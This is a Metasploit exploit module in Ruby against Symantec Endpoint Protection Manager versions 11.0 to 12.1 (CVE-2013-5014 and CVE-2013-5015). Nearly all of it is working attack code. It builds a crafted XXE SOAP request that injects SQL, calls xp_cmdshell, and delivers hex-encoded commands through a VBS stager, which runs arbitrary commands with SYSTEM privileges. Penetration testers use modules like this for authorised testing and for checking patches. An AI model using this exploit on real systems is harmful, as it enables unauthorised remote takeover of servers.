Symantec Endpoint Protection Manager – Remote Command Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include REXML include Msf::Exploit::CmdStagerVBS include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution', 'Description' => %q{ This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager versions 11.0, 12.0 and 12.1. When supplying a specially crafted XXE request an attacker can reach SQL injection affected components. As xp_cmdshell is enabled in the included database instance, it's possible to execute arbitrary system commands on the remote system with SYSTEM privileges. }, 'Author' => [ 'Stefan Viehbock', # Discovery 'Chris Graham', # PoC exploit 'xistence <xistence[at]0x90.nl>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-5014' ], [ 'CVE', '2013-5015' ], [ 'EDB', '31853'], [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ] ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'Targets' => [ ['Windows VBS Stager', {}] ], 'Privileged' => true, 'DisclosureDate' => 'Feb 24 2014', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9090), OptString.new('TARGETURI', [true, 'The base path', '/']) ], self.class) end def check res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', }) if res && res.code == 200 && res.body =~ /Symantec Endpoint Protection Manager/ && res.body =~ /1995 - 2013 Symantec Corporation/ return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Sending payload") # Execute the cmdstager, max length of the commands is ~3950 execute_cmdstager({:linemax => 3950}) end def execute_command(cmd, opts = {}) # Convert the command data to hex, so we can use that in the xp_cmdshell. Else characters like '>' will be harder to bypass in the XML. command = "0x#{Rex::Text.to_hex("cmd /c #{cmd}", '')}" # Generate random 'xx032xxxx' sequence number. seqnum = "#{rand_text_numeric(2)}032#{rand_text_numeric(4)}" soap = soap_request(seqnum, command) post_data = Rex::MIME::Message.new post_data.add_part(soap, "text/xml", nil, "form-data; name=\"Content\"") xxe = post_data.to_s res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', 'vars_get' => { 'ActionType' => 'ConsoleLog' }, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => xxe, }) if res and res.body !~ /ResponseCode/ fail_with(Failure::Unknown, "#{peer} - Something went wrong.") end end def soap_request(seqnum, command) randpayload = rand_text_alpha(8+rand(8)) randxxe = rand_text_alpha(8+rand(8)) entity = "<!ENTITY #{randpayload} SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?" entity << "ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >" xml = Document.new xml.add(DocType.new('sepm', "[ METASPLOIT ]")) xml.add_element("Request") xxe = xml.root.add_element(randxxe) xxe.text = "PAYLOAD" xml_s = xml.to_s xml_s.gsub!(/METASPLOIT/, entity) # To avoid html encoding xml_s.gsub!(/PAYLOAD/, "&#{randpayload};") # To avoid html encoding xml_s end end |